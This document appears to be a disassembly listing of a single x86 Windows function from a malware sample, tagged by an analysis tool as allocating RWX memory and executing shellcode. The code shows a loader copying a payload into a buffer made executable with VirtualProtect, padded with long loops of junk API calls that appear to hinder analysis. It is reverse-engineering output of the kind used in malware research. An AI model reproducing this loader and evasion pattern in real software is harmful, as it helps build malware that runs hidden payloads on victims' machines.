Function at 0x403a54
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x803f77
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x20d4
call fcn.0040be50
push ebx
push esi
xor esi, esi
cmp dword [0x8b7588], 0x5b1
push edi
jne 0x403b0f
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402ef8
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x24]
call fcn.00403dc7
push esi
mov dword [esp + 0x20f0], esi
call fcn.0040495c
pop ecx
call fcn.004048fa
push 0x402f2c
lea ecx, [esp + 0x14]
call fcn.00403630
lea ecx, [esp + 0x10]
call fcn.0040364c
lea ecx, [esp + 0x10]
call fcn.00403692
lea ecx, [esp + 0x10]
call fcn.004036ab
push esi
push esi
call fcn.00404c79
push esi
call fcn.00404c4a
add esp, 0xc
push esi
call fcn.00405092
add dword [0x8b7588], 0x1134b
push dword [0x8b7588]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push dword [0x8b7588]
mov dword [0x8b64dc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403b67
inc edi
cmp edi, 0x4f6a4
jl 0x403b47
xor edi, edi
cmp dword [0x8b7588], esi
jbe 0x403bc5
cmp dword [0x8b7588], 0xa8
mov eax, dword [0x8b758c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x8b64dc]
mov byte [ecx + edi], al
jne 0x403bbc
push 0x402f40
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x402fe8
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, dword [0x8b7588]
jb 0x403b71
xor edi, edi
mov eax, dword [0x8b7588]
add eax, edi
cmp eax, 0xe
jne 0x403c2b
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x403048
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [esp + 0x4e4]
push eax
push esi
push 0x403068
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x4030b8
push 0x4031b0
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0xce8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x403bc7
call fcn.0040393d
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403c48
call fcn.00403a3a
inc edi
cmp edi, 0x6753f
jl 0x403c3b
push 0x7b
pop edi
cmp dword [0x8b7588], 0x86
jne 0x403cb9
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x4031e8
push 0x403240
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x403294
push 0x4032ac
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x14e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x18e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x403c54
push 0x4032d8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x20e4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret